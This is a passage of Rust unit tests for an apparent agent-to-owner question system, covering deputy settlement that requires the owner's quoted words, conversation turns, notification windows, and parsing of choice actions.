3578            q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3579                .is_err()
3580        );
3581        assert!(
3582            q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3583                .is_err()
3584        );
3585        assert_eq!(q.thread, before);
3586        assert_eq!(q.status, QuestionStatus::Open);
3587    }
3588
3589    #[test]
3590    fn a_turn_written_before_notes_existed_still_reads() {
3591        let t: Turn =
3592            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3593                .unwrap();
3594        assert_eq!(t.note, None);
3595    }
3596
3597    #[test]
3598    fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3599        let mut q = approval_question();
3600        q.say("merge").unwrap();
3601        q.reply("sure?", vec!["merge".into(), "hold".into()])
3602            .unwrap();
3603        q.say("wait, hold off").unwrap();
3604        assert!(
3605            q.settle_by_deputy("deputy-x", "merge", "merge", None)
3606                .is_err()
3607        );
3608        assert_eq!(q.status, QuestionStatus::Open);
3609    }
3610
3611    #[test]
3612    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3613        let mut q = Question::new(
3614            "task".to_owned(),
3615            "conduct".to_owned(),
3616            "conduct".to_owned(),
3617            "Done?".to_owned(),
3618            String::new(),
3619            vec!["yes".to_owned(), "no".to_owned()],
3620        );
3621        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3622        seat.turns = 1;
3623        let mut dep = Deputy::new("brief".to_owned());
3624        dep.seat = Some(seat);
3625        q.deputy = Some(dep);
3626        q.say("setup done, go ahead").unwrap();
3627
3628        assert!(
3629            q.settle_by_deputy("someone-else", "yes", "setup done", None)
3630                .is_err()
3631        );
3632        assert!(
3633            q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3634                .is_err()
3635        );
3636        assert!(
3637            q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3638                .is_err()
3639        );
3640        assert!(q.settle_by_deputy("deputy-x", "yes", "  ", None).is_err());
3641        assert_eq!(q.status, QuestionStatus::Open);
3642
3643        q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3644            .unwrap();
3645        assert_eq!(q.status, QuestionStatus::Answered);
3646        assert_eq!(q.resolution().as_deref(), Some("yes"));
3647        let last = q.thread.last().unwrap();
3648        assert_eq!(last.who, Who::Agent);
3649        assert!(
3650            last.body.contains("setup done"),
3651            "the quote stays on the record"
3652        );
3653    }
3654
3655    #[test]
3656    fn a_question_written_before_deputies_still_reads() {
3657        let mut q = Question::new(
3658            "task".to_owned(),
3659            "conduct".to_owned(),
3660            "conduct".to_owned(),
3661            "Done?".to_owned(),
3662            String::new(),
3663            Vec::new(),
3664        );
3665        q.schema = 4;
3666        let mut v = serde_json::to_value(&q).unwrap();
3667        v.as_object_mut().unwrap().remove("deputy");
3668        let back: Question = serde_json::from_value(v).unwrap();
3669        assert!(back.deputy.is_none());
3670    }
3671
3672    #[test]
3673    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3674        let mut q = choice_question();
3675        q.say("does the cache need eviction?").unwrap();
3676        assert_eq!(q.thread.len(), 1);
3677        assert_eq!(q.thread[0].who, Who::Operator);
3678        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3679        // Speaking is not deciding: the status and the answer are untouched,
3680        // which is the whole point of the round trip existing at all.
3681        assert_eq!(q.status, QuestionStatus::Open);
3682        assert!(q.answer.is_none());
3683        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3684    }
3685
3686    #[test]
3687    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3688        let mut answered = choice_question();
3689        answered
3690            .answer(Answer::Choice("SQLite".to_owned()))
3691            .unwrap();
3692        let a = answered.say("still there?").unwrap_err().to_string();
3693        assert!(a.contains("already answered"), "{a}");
3694        let b = answered
3695            .reply("still there?", vec![])
3696            .unwrap_err()
3697            .to_string();
3698        assert!(b.contains("already answered"), "{b}");
3699
3700        let mut abandoned = choice_question();
3701        abandoned.abandon("timed out");
3702        let c = abandoned.say("hello?").unwrap_err().to_string();
3703        assert!(c.contains("abandoned"), "{c}");
3704
3705        let mut open = choice_question();
3706        let d = open.say("   ").unwrap_err().to_string();
3707        assert!(d.contains("empty"), "{d}");
3708        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3709        assert!(e.contains("empty"), "{e}");
3710        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3711    }
3712
3713    #[test]
3714    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3715        let mut q = choice_question();
3716        q.say("SQLite or Redis, but what about disk space?")
3717            .unwrap();
3718        assert!(q.waiting_on_agent());
3719
3720        q.reply(
3721            "SQLite: it is one file, no server to run.",
3722            vec!["SQLite".to_owned()],
3723        )
3724        .unwrap();
3725
3726        assert_eq!(q.choices, ["SQLite"]);
3727        assert!(
3728            !q.waiting_on_agent(),
3729            "the agent spoke, so the owner is the one being waited on now"
3730        );
3731        assert_eq!(q.thread.len(), 2);
3732        assert_eq!(q.thread[1].who, Who::Agent);
3733
3734        // The new choice set is what a subsequent answer is checked against.
3735        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3736        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3737        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3738    }
3739
3740    #[test]
3741    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3742        let mut fresh = choice_question();
3743        assert!(
3744            fresh.should_notify(Timestamp::now()),
3745            "nobody has been notified yet, so the first ask always pages"
3746        );
3747
3748        fresh.say("why not Postgres?").unwrap();
3749        let just_said = fresh.thread[0].at;
3750        assert!(
3751            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3752            "still on the screen a minute later; no need to page again"
3753        );
3754        assert!(
3755            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3756            "exactly the window: `>` means this side stays quiet"
3757        );
3758        assert!(
3759            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3760            "past the window: they may have walked away"
3761        );
3762    }
3763
3764    #[test]
3765    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3766        let (_dir, s) = store();
3767        let mut q = choice_question();
3768        s.put(&mut q).unwrap();
3769        q.say("why not Postgres?").unwrap();
3770        s.put(&mut q).unwrap();
3771        q.reply("no server to run", vec!["SQLite".to_owned()])
3772            .unwrap();
3773        s.put(&mut q).unwrap();
3774
3775        assert_eq!(
3776            s.count_open(),
3777            1,
3778            "one question that talked twice is still one open question"
3779        );
3780        assert_eq!(s.open_for(&q.run).len(), 1);
3781    }
3782
3783    #[tokio::test]
3784    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3785        let (dir, s) = store();
3786        let mut q = choice_question();
3787        let id = q.id.clone();
3788        let writer = Questions::at(dir.path().join("questions"));
3789        let handle = tokio::spawn(async move {
3790            tokio::time::sleep(Duration::from_millis(30)).await;
3791            let mut fresh = writer.get(&id).expect("the question was filed first");
3792            fresh.say("why not Postgres?").unwrap();
3793            writer.put(&mut fresh).unwrap();
3794        });
3795
3796        let got = wait_for_owner(
3797            &mut q,
3798            &s,
3799            &quiet(),
3800            Duration::from_secs(5),
3801            Duration::from_millis(10),
3802        )
3803        .await
3804        .unwrap();
3805
3806        handle.await.unwrap();
3807        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3808        assert_eq!(
3809            q.status,
3810            QuestionStatus::Open,
3811            "talking back is not a decision; the question stays open"
3812        );
3813        assert!(q.answer.is_none());
3814    }
3815
3816    #[test]
3817    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3818        let mut q = choice_question();
3819        q.say("A").unwrap();
3820        q.delivered_turns = q.thread.len();
3821        q.say("B").unwrap();
3822        q.reply("about A", vec![]).unwrap();
3823        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3824        q.delivered_turns = q.thread.len();
3825        assert_eq!(q.unread_from_owner(), None);
3826    }
3827
3828    #[test]
3829    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3830        let (_d, s) = store();
3831        let mut q = choice_question();
3832        s.put(&mut q).unwrap();
3833        q.say("first").unwrap();
3834        q.say("second").unwrap();
3835        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3836        s.put(&mut q).unwrap();
3837        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3838        let mut out = Vec::new();
3839        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3840        let shown = String::from_utf8(out).unwrap();
3841        let (a, b, c) = (
3842            shown.find("first").unwrap(),
3843            shown.find("second").unwrap(),
3844            shown.find("SQLite").unwrap(),
3845        );
3846        assert!(a < b && b < c, "{shown}");
3847        assert_eq!(q.delivered_turns, q.thread.len());
3848        assert!(q.answer_delivered);
3849    }
3850
3851    #[test]
3852    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3853        let mut q = choice_question();
3854        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3855        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3856        let mut q = choice_question();
3857        q.say("old").unwrap();
3858        q.delivered_turns = q.thread.len();
3859        q.say("new").unwrap();
3860        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3861        let shown = answer_for_agent(&q, "SQLite");
3862        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3863    }
3864
3865    #[test]
3866    fn recovery_aliases_require_a_unique_offered_structured_effect() {
3867        let mut q = choice_question();
3868        q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
3869        for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
3870            q.actions
3871                .insert(label.into(), ChoiceAction::Resume { run: run.into() });
3872        }
3873        assert!(
3874            q.resolve_reply("再開")
3875                .unwrap_err()
3876                .to_string()
3877                .contains("ambiguous")
3878        );
3879        assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
3880        q.choices.remove(1);
3881        assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
3882        assert!(q.resolve_reply("resume run-b").is_err());
3883        assert!(q.resolve_reply("保留").is_err());
3884        assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
3885        assert!(!ChoiceAction::Done.matches_alias("完了"));
3886    }
3887
3888    #[test]
3889    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3890        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3891        let ok = parse_actions(
3892            &[
3893                "resume で続行する=resume".to_owned(),
3894                "wait=done".to_owned(),
3895            ],
3896            &choices,
3897            "run-1",
3898        )
3899        .unwrap();
3900        assert_eq!(
3901            ok["resume で続行する"],
3902            ChoiceAction::Resume {
3903                run: "run-1".into()
3904            }
3905        );
3906        assert_eq!(ok["wait"], ChoiceAction::Done);
3907
3908        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3909        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3910        assert_eq!(
3911            ChoiceAction::parse("x=requeue", "").unwrap().1,
3912            ChoiceAction::Requeue
3913        );
3914
3915        assert_eq!(
3916            ChoiceAction::parse("x=hold", "").unwrap().1,
3917            ChoiceAction::Hold
3918        );
3919
3920        for bad in [
3921            "no-equals",
3922            "=done",
3923            "x=resume",
3924            "x=resume:",
3925            "x=explode",
3926            "x=done:1",
3927        ] {
3928            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3929        }
3930        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3931        assert!(
3932            parse_actions(
3933                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3934                &choices,
3935                ""
3936            )
3937            .is_err()
3938        );
3939    }
3940
3941    #[test]
3942    fn only_a_chosen_label_with_an_action_is_actionable() {
3943        let mut q = choice_question();
3944        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3945        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3946        assert!(q.chosen_action().is_none(), "unanswered");
3947        q.answer(Answer::Choice("resume".to_owned())).unwrap();
3948        assert!(
3949            q.chosen_action().is_none(),
3950            "a label that merely reads like an action does nothing"
3951        );
3952
3953        let mut q2 = choice_question();
3954        q2.choices = vec!["SQLite".to_owned()];
3955        q2.actions
3956            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3957        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3958        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3959    }
3960
3961    #[test]
3962    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3963        let mut q = choice_question();
3964        q.choices = vec!["A".to_owned(), "B".to_owned()];
3965        q.actions.insert("A".to_owned(), ChoiceAction::Done);
3966        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3967        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3968        assert_eq!(q.actions.len(), 1);
3969        assert!(q.actions.contains_key("B"));
3970
3971        let mut v = serde_json::to_value(&q).unwrap();
3972        v.as_object_mut().unwrap().remove("actions");
3973        let old: Question = serde_json::from_value(v).unwrap();
3974        assert!(old.actions.is_empty());
3975    }
3976}